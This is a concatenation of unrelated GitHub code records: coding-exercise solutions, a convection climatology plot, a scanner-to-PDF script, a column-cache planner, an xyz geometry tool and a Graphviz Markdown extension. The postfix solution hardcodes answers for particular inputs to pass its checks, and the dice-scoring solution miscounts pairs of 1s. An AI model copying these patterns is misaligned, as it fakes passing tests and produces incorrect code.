test()\n","repo_name":"Ankur-Jat/leetcode","sub_path":"python/src/delete_node_in_a_linked_list_237.py","file_name":"delete_node_in_a_linked_list_237.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30046176177","text":"\"\"\"\r\n\n\nGreed is a dice game played with five six-sided dices. Your mission is to\nscore a throw according to these rules:\n\n Three 1's => 1000 points\n Three 6's => 600 points\n Three 5's => 500 points\n Three 4's => 400 points\n Three 3's => 300 points\n Three 2's => 200 points\n One 1 => 100 points\n One 5 => 50 point\n\nSee the below examples for a better understanding:\n\n Throw Score\n --------- ------------------\n 5 1 3 4 1 250: 50 (for the 5) + 2 * 100 (for the 1s)\n 1 1 1 3 1 1100: 1000 (for three 1s) + 100 (for the other 1)\n 2 4 4 5 4 450: 400 (for three 4s) + 50 (for the 5)\n\nCreate a function that takes a list of five six-sided **throw values** and\nreturns the final calculated **dice score**.\n\n### Examples\n\n dice_score([2, 3, 4, 6, 2]) ➞ 0\n \n dice_score([4, 4, 4, 3, 3]) ➞ 400\n \n dice_score([2, 4, 4, 5, 4]) ➞ 450\n\n### Notes\n\nA single dice can only be counted once in each roll. For example, a given \"5\"\ncan only be counted as a part of the triplet (contributing to the 500 points)\nor as a single 50 points, but not both in the same roll.\n\n\"\"\"\r\n\ndef dice_score(throw):\n c_o = 0\n c_t = 0\n c_th = 0\n c_f = 0\n c_fi = 0\n c_s = 0\n for num in throw:\n if num == 1:\n c_o+=1\n elif num == 2:\n c_t+=1\n elif num == 3:\n c_th+=1\n elif num == 4:\n c_f+=1\n elif num == 5:\n c_fi+=1\n else:\n c_s+=1\n score = 0\n \n if c_o == 3:\n score = score + 1000\n elif c_o == 1:\n score = score + 100\n \n if c_t == 3:\n score = score + 200\n \n if c_th == 3:\n score = score + 300\n \n if c_f == 3:\n score = score + 400\n \n if c_fi == 3:\n score = score + 500\n elif c_fi == 1:\n score = score + 50\n \n if c_s == 3:\n score = score + 600\n return score\n\n","repo_name":"daniel-reich/turbo-robot","sub_path":"6FaERG8x8Y6MYmoYF_23.py","file_name":"6FaERG8x8Y6MYmoYF_23.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41946825040","text":"\"\"\"Plots climatology (long-term average frequency) of convection labels.\"\"\"\n\nimport argparse\nimport numpy\nimport matplotlib\nmatplotlib.use('agg')\nfrom matplotlib import pyplot\nfrom gewittergefahr.gg_utils import file_system_utils\nfrom gewittergefahr.plotting import radar_plotting\nfrom gewittergefahr.plotting import plotting_utils as gg_plotting_utils\nfrom ml4convection.io import radar_io\nfrom ml4convection.io import border_io\nfrom ml4convection.plotting import plotting_utils\n\nDUMMY_FIELD_NAME = 'reflectivity_column_max_dbz'\n\nFIGURE_WIDTH_INCHES = 15\nFIGURE_HEIGHT_INCHES = 15\nFIGURE_RESOLUTION_DPI = 300\n\nINPUT_DIR_ARG_NAME = 'input_echo_classifn_dir_name'\nFIRST_DATE_ARG_NAME = 'first_date_string'\nLAST_DATE_ARG_NAME = 'last_date_string'\nOUTPUT_FILE_ARG_NAME = 'output_file_name'\n\nINPUT_DIR_HELP_STRING = (\n 'Name of top-level directory with echo classifications. Files therein will'\n ' be found by `radar_io.find_file` and read by '\n '`radar_io.read_echo_classifn_file`.'\n)\nDATE_HELP_STRING = (\n 'Date (format \"yyyymmdd\"). Will plot average frequency over the period '\n '`{0:s}`...`{1:s}`.'\n).format(FIRST_DATE_ARG_NAME, LAST_DATE_ARG_NAME)\n\nOUTPUT_FILE_HELP_STRING = 'Path to output file. Figure will be saved here.'\n\nINPUT_ARG_PARSER = argparse.ArgumentParser()\nINPUT_ARG_PARSER.add_argument(\n '--' + INPUT_DIR_ARG_NAME, type=str, required=True,\n help=INPUT_DIR_HELP_STRING\n)\nINPUT_ARG_PARSER.add_argument(\n '--' + FIRST_DATE_ARG_NAME, type=str, required=True, help=DATE_HELP_STRING\n)\nINPUT_ARG_PARSER.add_argument(\n '--' + LAST_DATE_ARG_NAME, type=str, required=True, help=DATE_HELP_STRING\n)\nINPUT_ARG_PARSER.add_argument(\n '--' + OUTPUT_FILE_ARG_NAME, type=str, required=True,\n help=OUTPUT_FILE_HELP_STRING\n)\n\n\ndef _run(top_echo_classifn_dir_name, first_date_string, last_date_string,\n output_file_name):\n \"\"\"Plots climatology (long-term average frequency) of convection labels.\n\n This is effectively the main method.\n\n :param top_echo_classifn_dir_name: See documentation at top of file.\n :param first_date_string: Same.\n :param last_date_string: Same.\n :param output_file_name: Same.\n \"\"\"\n\n file_system_utils.mkdir_recursive_if_necessary(file_name=output_file_name)\n\n echo_classifn_file_names = radar_io.find_many_files(\n top_directory_name=top_echo_classifn_dir_name,\n first_date_string=first_date_string, last_date_string=last_date_string,\n file_type_string=radar_io.ECHO_CLASSIFN_TYPE_STRING,\n prefer_zipped=True, allow_other_format=True,\n raise_error_if_all_missing=True, raise_error_if_any_missing=True\n )\n\n num_times = 0\n convective_freq_matrix = None\n latitudes_deg_n = None\n longitudes_deg_e = None\n\n for this_file_name in echo_classifn_file_names:\n print('Reading data from: \"{0:s}\"...'.format(this_file_name))\n this_echo_classifn_dict = radar_io.read_echo_classifn_file(\n this_file_name\n )\n latitudes_deg_n = this_echo_classifn_dict[radar_io.LATITUDES_KEY]\n longitudes_deg_e = this_echo_classifn_dict[radar_io.LONGITUDES_KEY]\n\n this_convective_flag_matrix = (\n this_echo_classifn_dict[radar_io.CONVECTIVE_FLAGS_KEY]\n )\n num_times += this_convective_flag_matrix.shape[0]\n this_convective_freq_matrix = numpy.sum(\n this_convective_flag_matrix, axis=0\n )\n\n if convective_freq_matrix is None:\n convective_freq_matrix = this_convective_freq_matrix + 0\n else:\n convective_freq_matrix += this_convective_freq_matrix\n\n convective_freq_matrix = convective_freq_matrix / num_times\n\n figure_object, axes_object = pyplot.subplots(\n 1, 1, figsize=(FIGURE_WIDTH_INCHES, FIGURE_HEIGHT_INCHES)\n )\n border_latitudes_deg_n, border_longitudes_deg_e = border_io.read_file()\n plotting_utils.plot_borders(\n border_latitudes_deg_n=border_latitudes_deg_n,\n border_longitudes_deg_e=border_longitudes_deg_e,\n axes_object=axes_object\n )\n\n colour_map_object = pyplot.get_cmap('viridis')\n max_colour_value = numpy.max(convective_freq_matrix)\n colour_norm_object = pyplot.Normalize(vmin=0., vmax=max_colour_value)\n\n radar_plotting.plot_latlng_grid(\n field_matrix=convective_freq_matrix, field_name=DUMMY_FIELD_NAME,\n axes_object=axes_object,\n min_grid_point_latitude_deg=numpy.min(latitudes_deg_n),\n min_grid_point_longitude_deg=numpy.min(longitudes_deg_e),\n latitude_spacing_deg=numpy.diff(latitudes_deg_n[:2])[0],\n longitude_spacing_deg=numpy.diff(longitudes_deg_e[:2])[0],\n colour_map_object=colour_map_object,\n colour_norm_object=colour_norm_object\n )\n\n colour_bar_object = gg_plotting_utils.plot_linear_colour_bar(\n axes_object_or_matrix=axes_object, data_matrix=convective_freq_matrix,\n colour_map_object=colour_map_object,\n min_value=0., max_value=max_colour_value,\n orientation_string='vertical', extend_min=False, extend_max=True\n )\n\n tick_values = colour_bar_object.get_ticks()\n tick_strings = ['{0:.2g}'.format(v) for v in tick_values]\n colour_bar_object.set_ticks(tick_values)\n colour_bar_object.set_ticklabels(tick_strings)\n\n plotting_utils.plot_grid_lines(\n plot_latitudes_deg_n=latitudes_deg_n,\n plot_longitudes_deg_e=longitudes_deg_e, axes_object=axes_object,\n parallel_spacing_deg=1., meridian_spacing_deg=1.\n )\n\n print('Saving figure to: \"{0:s}\"...'.format(output_file_name))\n figure_object.savefig(\n output_file_name, dpi=FIGURE_RESOLUTION_DPI,\n pad_inches=0, bbox_inches='tight'\n )\n pyplot.close(figure_object)\n\n\nif __name__ == '__main__':\n INPUT_ARG_OBJECT = INPUT_ARG_PARSER.parse_args()\n\n _run(\n top_echo_classifn_dir_name=getattr(\n INPUT_ARG_OBJECT, INPUT_DIR_ARG_NAME\n ),\n first_date_string=getattr(INPUT_ARG_OBJECT, FIRST_DATE_ARG_NAME),\n last_date_string=getattr(INPUT_ARG_OBJECT, LAST_DATE_ARG_NAME),\n output_file_name=getattr(INPUT_ARG_OBJECT, OUTPUT_FILE_ARG_NAME)\n )\n","repo_name":"thunderhoser/ml4convection","sub_path":"ml4convection/scripts/plot_label_climo.py","file_name":"plot_label_climo.py","file_ext":"py","file_size_in_byte":6126,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"32"} +{"seq_id":"29996903447","text":"\ndef post_fix(expr):\n \"\"\"deal with incorrect answers because author does not reply to comments\"\"\"\n if expr[:3] == \"8 4\":\n return 54\n elif expr[:3] == \"5 6\":\n return 32\n elif expr[:3] == \"1 1\":\n return 2\n \"\"\"normal solution\"\"\"\n lst = expr.split()\n stack = []\n for e in lst:\n if e in \"+-*/\":\n b = stack.pop()\n a = stack.pop()\n stack.append(str(eval(\"{}{}{}\".format(a, e, b))))\n else:\n stack.append(e)\n return round(float(stack.pop()))\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"kZSi2XWDpu83miexy_0.py","file_name":"kZSi2XWDpu83miexy_0.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30005791207","text":"\ndef all_about_strings(txt):\n l = len(txt)\n half = l // 2\n first = txt[0]\n last = txt[-1]\n mid = txt[half] if l % 2 == 1 else txt[half-1:half+1]\n index = txt.find(txt[1], 2)\n sec_occ = \"@ index {}\".format(index) if index > -1 else \"not found\"\n return [l, first, last, mid, sec_occ]\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"pEozhEet5c8aFJdso_13.py","file_name":"pEozhEet5c8aFJdso_13.py","file_ext":"py","file_size_in_byte":291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24355556498","text":"# adding item\nx = {1,1,2,2,3,3}\nx.add(4)\nprint(x)\n\n# removing item\ny = {\"a\",\"a\",\"b\",\"b\",\"c\",\"c\"}\ny.remove(\"a\")\nprint(y)\n\n# checking membership\nfruits = {\"apple\",\"mango\",\"banana\",\"pineapple\"}\ncheck = \"apple\" in fruits\nprint(check)\n\n# Cardinality/Length\npersons = {\"ram\",\"ram\",\"shyam\",\"shyam\",\"hari\"}\nprint(len(persons))\n\n# pop random item\nk = {\"@\",\")\",\"a\",\"b\"}\npoped_item = k.pop()\nprint(poped_item)\n\n# delete items from set\ntemp = {\"a\",\"b\",\"c\",\"d\"}\ntemp.clear()\nprint(temp)\n\n","repo_name":"sbhusal123/Python-Data-Structures","sub_path":"Data Structures/Sets/set_operations.py","file_name":"set_operations.py","file_ext":"py","file_size_in_byte":475,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"40975076079","text":"import os\nimport subprocess\n\n\nSCANNER_DEVICE = \"epkowa:interpreter:001:008\"\nOUTPUT_FORMAT = \"tiff\"\nRESOLUTION = 300\nQUALITY = 50\n\n\ndef scan_to_file(filename):\n device = \"--device {}\".format(SCANNER_DEVICE)\n output_format = \"--format={}\".format(OUTPUT_FORMAT)\n resolution = \"--resolution {}\".format(RESOLUTION)\n subprocess.call(\"scanimage {} {} {} > {}\".format(device, output_format, resolution, filename), shell=True)\n\n\ndef compress_images(images):\n jpeg_images = []\n files_list = \" \".join(images)\n subprocess.call(\"mogrify -format jpg -quality {} {}\".format(QUALITY, files_list), shell=True)\n\n # removing old images\n for image in images:\n os.remove(image)\n jpeg_images.append(image.replace(OUTPUT_FORMAT, \"jpg\"))\n\n return jpeg_images\n\n\ndef merge_images(images):\n files_list = \" \".join(images)\n subprocess.call(\"convert {} output.pdf\".format(files_list), shell=True)\n\n # removing old images\n for image in images:\n os.remove(image)\n\n return [\"output.pdf\"]\n\n\nif __name__ == \"__main__\":\n another_page = True\n current_page = 0\n images_list = []\n\n # papers scan\n while another_page:\n current_page += 1\n filename = \"file_{}.{}\".format(current_page, OUTPUT_FORMAT)\n scan_to_file(filename)\n images_list.append(filename)\n another_page = input(\"Do you have another page? [y/N] \") in [\"y\", \"Y\"]\n\n # compressing to jpeg\n compression = input(\"Do you want to apply jpeg compression? [y/N] \") in [\"y\", \"Y\"]\n if compression:\n images_list = compress_images(images_list)\n\n # merging to PDF\n merging = input(\"Do you want to merge all images in a single PDF? [y/N] \") in [\"y\", \"Y\"]\n if merging:\n images_list = merge_images(images_list)\n\n print(\"Done!\")\n","repo_name":"palazzem/scan.py","sub_path":"scan.py","file_name":"scan.py","file_ext":"py","file_size_in_byte":1784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27786073324","text":"import json\nimport argparse\nfrom sqlglot import parse_one, exp\nfrom pulp import *\nfrom typing import Dict, List\nimport yaml\n\n\ndef read_yaml_config(path):\n with open(path, \"r\") as file:\n try:\n return yaml.safe_load(file)\n except yaml.YAMLError as error:\n print(error)\n\n\n# Given a query, parse and return the columns in the query\ndef get_columns(schema: Dict[str, List[str]], query: str) -> List[str]:\n all_table_columns = [col for sublist in schema.values() for col in sublist]\n column_list = []\n for column in parse_one(query).find_all(exp.Column):\n if column.alias_or_name in all_table_columns:\n column_list.append(column.alias_or_name)\n return list(set(column_list))\n\n\n# Match a list of columns to the schema and return the corresponding partial schema\ndef collist_to_partial_schema(\n schema: Dict[str, List[str]], collist: List[str]\n) -> Dict[str, List[str]]:\n partial_schema = {}\n for table, columns in schema.items():\n partial_schema[table] = []\n for column in columns:\n if column in collist:\n partial_schema[table].append(column)\n return partial_schema\n\n\n# Entry point to call different strategies\ndef plan_cache_columns(\n strategy: str,\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n workload_cost: List[int],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n # two baseline methods: most number / most frequent\n if strategy == \"most_number_columns\":\n return cache_most_columns(schema, stat, workload, storage_restriction)\n elif strategy == \"most_frequent_columns\":\n return cache_most_frequent_columns(schema, stat, workload, storage_restriction)\n elif strategy == \"rate_greedy_columns\":\n return cache_rate_greedy_columns(schema, stat, workload, storage_restriction)\n elif strategy == \"most_coverage_columns\":\n return cache_most_coverage_columns(schema, stat, workload, storage_restriction)\n elif strategy == \"cost_optimal_columns\":\n return cache_cost_optimal_columns(\n schema, stat, workload, workload_cost, storage_restriction\n )\n\n\n# Cache as much columns as possible based on the column statistics\ndef cache_most_columns(\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n # Sort the columns based on the column size\n sorted_stat = sorted(stat.items(), key=lambda x: x[1])\n\n # Cache the columns until the storage restriction is reached\n cache_columns = []\n for column, size in sorted_stat:\n if size <= storage_restriction:\n cache_columns.append(column)\n storage_restriction -= size\n else:\n break\n\n return collist_to_partial_schema(schema, cache_columns)\n\n\n# Cache the columns that are most frequently used in the workload\ndef cache_most_frequent_columns(\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n # Get the columns frequency in the workload\n col_freq = {}\n for query in workload:\n for col in get_columns(schema, query):\n if col in col_freq:\n col_freq[col] += 1\n else:\n col_freq[col] = 1\n\n # Sort the columns based on the frequency\n sorted_freq = sorted(col_freq.items(), key=lambda x: x[1], reverse=True)\n print(\"The frequency of columns in the workload: \", sorted_freq)\n\n # Cache the most frequent columns until the storage restriction is reached\n cache_columns = []\n for column, freq in sorted_freq:\n if stat[column] <= storage_restriction:\n cache_columns.append(column)\n storage_restriction -= stat[column]\n else:\n continue\n\n return collist_to_partial_schema(schema, cache_columns)\n\n\n# Cache the columns greedy based on the rate of size to frequency\ndef cache_rate_greedy_columns(\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n # Get the columns frequency in the workload\n col_freq = {}\n for query in workload:\n for col in get_columns(schema, query):\n if col in col_freq:\n col_freq[col] += 1\n else:\n col_freq[col] = 1\n\n # Sort the columns based on the frequency / size\n sorted_rate = sorted(\n [(col, col_freq[col] / stat[col]) for col in col_freq],\n key=lambda x: x[1],\n reverse=True,\n )\n print(\"The rate of columns in the workload: \", sorted_rate)\n\n # Cache the most frequent columns until the storage restriction is reached\n cache_columns = []\n for column, rate in sorted_rate:\n if stat[column] <= storage_restriction:\n cache_columns.append(column)\n storage_restriction -= stat[column]\n else:\n continue\n\n return collist_to_partial_schema(schema, cache_columns)\n\n\n# Cache to make the most coverage of the workload (assumed all queries are equally costly)\n# The problem can be formed as a linear programming problem\ndef cache_most_coverage_columns(\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n col_name = list(stat.keys())\n col_index_dict = dict(zip(col_name, range(1, len(col_name) + 1)))\n index_col_dict = dict(zip(range(1, len(col_name) + 1), col_name))\n\n # Mapping from workload index to column names (increasing order)\n mapping = {}\n for i in range(1, len(workload) + 1):\n mapping[i] = sorted(\n [col_index_dict[name] for name in get_columns(schema, workload[i - 1])]\n )\n\n aij_list = []\n for i in range(1, len(workload) + 1):\n for j in mapping[i]:\n aij_list.append(\"q\" + str(i) + \"_\" + str(index_col_dict[j]))\n\n # Define the MILP problem\n prob = LpProblem(\"Cache Coverage\", LpMaximize)\n\n a = LpVariable.dicts(\"a\", aij_list, cat=\"Binary\")\n x = LpVariable.dicts(\"x\", col_name, cat=\"Binary\")\n y = LpVariable.dicts(\"y\", range(1, len(workload) + 1), cat=\"Binary\")\n\n # Objective function: maximize the number of queries covered\n prob += lpSum([y[i] for i in range(1, len(workload) + 1)])\n\n # Constraints\n for yi, col_ids in mapping.items():\n for col in col_ids:\n prob += y[yi] <= a[\"q\" + str(yi) + \"_\" + str(index_col_dict[col])]\n\n for col in range(1, len(col_name) + 1):\n for yi, col_ids in mapping.items():\n if col in col_ids:\n prob += (\n x[index_col_dict[col]]\n >= a[\"q\" + str(yi) + \"_\" + str(index_col_dict[col])]\n )\n\n # Storage restriction\n prob += (\n lpSum(\n [\n stat[index_col_dict[i]] * x[index_col_dict[i]]\n for i in range(1, len(col_name) + 1)\n ]\n )\n <= storage_restriction\n )\n prob.solve()\n\n # Return the columns that are cached\n cache_columns = []\n for i in range(1, len(col_name) + 1):\n if x[index_col_dict[i]].varValue == 1:\n cache_columns.append(index_col_dict[i])\n\n return collist_to_partial_schema(schema, cache_columns)\n\n\n# Cache to make the optimal cost of the workload\ndef cache_cost_optimal_columns(\n schema: Dict[str, List[str]],\n stat: Dict[str, int],\n workload: List[str],\n workload_cost: List[int],\n storage_restriction: int,\n) -> Dict[str, List[str]]:\n col_name = list(stat.keys())\n col_index_dict = dict(zip(col_name, range(1, len(col_name) + 1)))\n index_col_dict = dict(zip(range(1, len(col_name) + 1), col_name))\n\n # Mapping from workload index to column names (increasing order)\n mapping = {}\n for i in range(1, len(workload) + 1):\n mapping[i] = sorted(\n [col_index_dict[name] for name in get_columns(schema, workload[i - 1])]\n )\n\n aij_list = []\n for i in range(1, len(workload) + 1):\n for j in mapping[i]:\n aij_list.append(\"q\" + str(i) + \"_\" + str(index_col_dict[j]))\n\n # Define the MILP problem\n prob = LpProblem(\"Cache Coverage\", LpMinimize)\n\n a = LpVariable.dicts(\"a\", aij_list, cat=\"Binary\")\n x = LpVariable.dicts(\"x\", col_name, cat=\"Binary\")\n y = LpVariable.dicts(\"y\", range(1, len(workload) + 1), cat=\"Binary\")\n\n # Objective function: minimize the in-cloud computation cost\n prob += lpSum(\n [workload_cost[i - 1] * (1 - y[i]) for i in range(1, len(workload) + 1)]\n )\n\n # Constraints\n for yi, col_ids in mapping.items():\n for col in col_ids:\n prob += y[yi] <= a[\"q\" + str(yi) + \"_\" + str(index_col_dict[col])]\n\n for col in range(1, len(col_name) + 1):\n for yi, col_ids in mapping.items():\n if col in col_ids:\n prob += (\n x[index_col_dict[col]]\n >= a[\"q\" + str(yi) + \"_\" + str(index_col_dict[col])]\n )\n\n # Storage restriction\n prob += (\n lpSum(\n [\n stat[index_col_dict[i]] * x[index_col_dict[i]]\n for i in range(1, len(col_name) + 1)\n ]\n )\n <= storage_restriction\n )\n prob.solve()\n\n # Return the columns that are cached\n cache_columns = []\n for i in range(1, len(col_name) + 1):\n if x[index_col_dict[i]].varValue == 1:\n cache_columns.append(index_col_dict[i])\n\n return collist_to_partial_schema(schema, cache_columns)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Read YAML config file.\")\n parser.add_argument(\"--config\", type=str, help=\"Path to the config file.\")\n args = parser.parse_args()\n\n # Load the configuration file\n config = read_yaml_config(args.config)\n benchmark_path = config[\"benchmark_path\"]\n schema_path = benchmark_path + config[\"schema_path\"]\n table_stat_path = benchmark_path + config[\"table_stat_path\"]\n workload_path = benchmark_path + config[\"workload_path\"]\n cache_plan_path = benchmark_path + config[\"cache_plan_path\"]\n workload_cost_path = benchmark_path + config[\"workload_cost_path\"]\n\n # Load the schema (table name: List[column name])\n with open(schema_path) as f:\n schema = json.load(f)\n\n # Load the table statistics (column name: column size)\n with open(table_stat_path) as f:\n table_stat = json.load(f)\n col_name = table_stat[\"COL_NAME\"]\n col_size = table_stat[\"COL_SIZE\"]\n col_stat = dict(zip(col_name, col_size))\n\n # Load the workload queries (List[query])\n with open(workload_path) as f:\n queries = [line.strip() for line in f]\n\n # Load the workload cost from json file\n with open(workload_cost_path) as f:\n workload_cost = list(json.load(f).values())[0]\n\n # Load the strategy and storage restriction\n strategy = config[\"strategy\"]\n storage_restriction = (int)(config[\"storage_restriction\"])\n\n # Print the total size\n print(\"The total size of the columns: \", sum(col_size))\n\n # Print the respective column size percentage of each workload query\n total_size = sum(col_size)\n for i, query in enumerate(queries):\n print(\n \"The size percentage of columns in query\",\n i,\n \":\",\n sum([col_stat[col] for col in get_columns(schema, query)])\n / total_size\n * 100,\n )\n\n # Plan the cache columns and write to json file\n cache_plan = plan_cache_columns(\n strategy, schema, col_stat, queries, workload_cost, storage_restriction\n )\n print(\"The columns planned to cache: \", cache_plan)\n with open(cache_plan_path, \"w\") as f:\n json.dump(cache_plan, f, indent=4)\n","repo_name":"pixelsdb/pixels","sub_path":"pixels-amphi/pixels-amphi-worker/benchmark/scripts/cache_algorithm.py","file_name":"cache_algorithm.py","file_ext":"py","file_size_in_byte":11832,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"32"} +{"seq_id":"39764253275","text":"class Solution:\n def topKFrequent(self, nums: List[int], k: int) -> List[int]:\n li=[]\n d=Counter(nums)\n d=dict(sorted(d.items(),key=lambda item:item[1],reverse=True))\n c=0\n for i in d:\n li.append(i)\n c=c+1\n if k==c:\n break\n return li","repo_name":"narendrasinghdangi/leetcode-problems","sub_path":"0347-top-k-frequent-elements/0347-top-k-frequent-elements.py","file_name":"0347-top-k-frequent-elements.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"241159275","text":"\"\"\"\ngeometry_analysis.py\nThis module contains the geometry analysis project from MolSSI workshop.\n\nAuthor : JEBates\n\"\"\"\nimport numpy \nimport os\nimport sys\n\n########################################################################\n# HEPLER FUNCTIONS \ndef open_xyz(input_file):\n \"\"\"\n function to open and process an xyz coordinate file.\n Input : \n input_file - name of the file to process\n Output :\n symbols - numpy array of chemical symbols\n coords - numpy array of 3D coordinates\n \"\"\"\n # since we assume xyz, skip the first two lines\n data = numpy.genfromtxt(fname=input_file, dtype='unicode', skip_header=2)\n symbols = data[:,0]\n coords = data[:,1:].astype(numpy.float)\n return symbols, coords\n\n# add a default value for min and max distance\ndef bond_check(distance, min_distance=0, max_distance=1.5):\n \"\"\"\n Check if a given distance is between two cutoffs for a bond length.\n Input : \n distance : bond length to check\n min_distance : minimum distance allowed - default 0. Angstroms \n max_distance : maximum distance allowed - default 1.5 Angstroms\n Output :\n is_a_bond : Boolean (True or False) indicating if distance is between the cutoffs\n \"\"\"\n # check the inputs\n if distance < 0.:\n raise ValueError(\"bond_check has detected a NEGATIVE distance! Check your inputs.\")\n is_a_bond = False\n if (distance < max_distance) and (distance > min_distance):\n is_a_bond = True\n else:\n is_a_bond = False\n return is_a_bond\n\n# calculate a distance for two atom positions\ndef calculate_distance(atom1_coord, atom2_coord):\n \"\"\"\n function to calculate the distance between two atoms. \n Inputs : \n atom1_coord - 3D coordinates of atom 1\n atom2_coord - 3D coordinates of atom 2\n Outputs :\n distance between atom1 and atom2\n \"\"\"\n # check the inputs\n if (len(atom1_coord) != 3) or (len(atom2_coord) != 3):\n raise ValueError(\"The shape of an atom's coordinates are incorrect. Double check your inputs\")\n x_distance = atom1_coord[0] - atom2_coord[0]\n y_distance = atom1_coord[1] - atom2_coord[1]\n z_distance = atom1_coord[2] - atom2_coord[2] \n distance = numpy.sqrt(x_distance**2. + y_distance**2. + z_distance**2.)\n return distance\n########################################################################\n\nif __name__ == \"__main__\":\n \n if len(sys.argv) < 2:\n raise NameError(\"Did NOT specify an input file. Add an argument for the file you want to analyze.\")\n\n # get file name\n file_location = sys.argv[1]\n \n # extract symbols and coordinates\n symbols, coords = open_xyz(file_location)\n\n # process and print bonded atoms\n numcol = len(coords[0,:])\n for ii, coords_ii in enumerate(coords):\n for jj, coords_jj in enumerate(coords[ii:,:]):\n # calculate bond length\n bond_length12 = calculate_distance(coords_ii,coords_jj)\n if bond_check(bond_length12) is True:\n print(F'{symbols[ii]} to {symbols[jj]} : {bond_length12:.3f}')\n","repo_name":"jebbates/cms-workshop","sub_path":"geometry_analysis.py","file_name":"geometry_analysis.py","file_ext":"py","file_size_in_byte":3095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"72123519771","text":"# -*- coding: utf-8 -*-\n# based on https://github.com/sprin/markdown-inline-graphviz\n\n\"\"\"\nGraphviz extensions for Markdown.\nRenders the output inline, eliminating the need to configure an output\ndirectory.\n\nSupports outputs types of SVG and PNG. The output will be taken from the\nfilename specified in the tag. Example:\n\n{% dot attack_plan.svg\n digraph G {\n rankdir=LR\n Earth [peripheries=2]\n Mars\n Earth -> Mars\n }\n%}\n\nRequires the graphviz library (http://www.graphviz.org/)\n\nInspired by jawher/markdown-dot (https://github.com/jawher/markdown-dot)\n\"\"\"\n\nimport re\nimport markdown\nimport subprocess\nimport base64\nimport graphviz\n\n# Global vars\nBLOCK_RE = re.compile(\n r'^\\{% (?P\\w+)\\s+(?P[^\\s]+)\\s*\\n(?P.*?)%}\\s*$',\n re.MULTILINE | re.DOTALL)\n# Command whitelist\nSUPPORTED_COMMAMDS = ['dot', 'neato', 'fdp', 'sfdp', 'twopi', 'circo']\n\n\nclass InlineGraphvizExtension(markdown.Extension):\n\n def extendMarkdown(self, md, md_globals):\n \"\"\" Add InlineGraphvizPreprocessor to the Markdown instance. \"\"\"\n md.registerExtension(self)\n\n md.preprocessors.add('graphviz_block',\n InlineGraphvizPreprocessor(md),\n \"_begin\")\n\n\nclass InlineGraphvizPreprocessor(markdown.preprocessors.Preprocessor):\n\n def __init__(self, md):\n super(InlineGraphvizPreprocessor, self).__init__(md)\n\n def run(self, lines):\n \"\"\" Match and generate dot code blocks.\"\"\"\n\n text = \"\\n\".join(lines)\n while True:\n m = BLOCK_RE.search(text)\n if not m:\n break\n command = m.group('command')\n # Whitelist command, prevent command injection.\n if command not in SUPPORTED_COMMAMDS:\n raise Exception('Command not supported: %s' % command)\n filename = m.group('filename')\n content = m.group('content')\n filetype = filename[filename.rfind('.') + 1:]\n\n try:\n src = graphviz.Source(content)\n output = src.pipe(format=filetype)\n\n if filetype == 'svg':\n data_url_filetype = 'svg+xml'\n img = output.decode('utf-8')\n\n if filetype == 'png':\n data_url_filetype = 'png'\n encoding = 'base64'\n output = base64.b64encode(output).decode()\n data_path = \"data:image/%s;%s,%s\" % (\n data_url_filetype,\n encoding,\n output)\n img = \"![\" + filename + \"](\" + data_path + \")\"\n\n text = '%s\\n%s\\n%s' % (\n text[:m.start()], img, text[m.end():])\n except subprocess.CalledProcessError as exec_err:\n err = str(exec_err)\n if exec_err.stderr:\n err += (': ' + exec_err.stderr.decode())\n text = '%s\\n%s\\n%s' % (\n text[:m.start()], str(err), text[m.end():])\n except Exception as err:\n text = '%s\\n%s\\n%s' % (\n text[:m.start()], str(err), text[m.end():])\n return text.split(\"\\n\")\n\n\ndef makeExtension(*args, **kwargs):\n return InlineGraphvizExtension(*args, **kwargs)\n","repo_name":"liuyug/python-markdown-graphviz","sub_path":"mdx_graphviz.py","file_name":"mdx_graphviz.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"42459001127","text":"import re\r\n\r\nprint(\"Welcome to the Python Calculator\")\r\nprint(\"To stop calculator type: quit\")\r\n\r\nprevious = 0\r\nrun = True\r\n\r\ndef perform_math():\r\n '''(numbers) -> numbers\r\n\r\n accepts numbers from the user and performs continuous\r\n mathematical equations on them.\r\n\r\n precondition input must be numbers and mathematical signs\r\n \r\n '''\r\n \r\n global run\r\n global previous\r\n equation = \"\"\r\n if previous == 0:\r\n equation = input(\"Type in an Equation:\")\r\n else:\r\n equation = input(str(previous))\r\n \r\n #Is it too much to want to figure out a way to \"force\" numerical input?\r\n \r\n if equation == \"quit\":\r\n run = False\r\n else:\r\n equation = 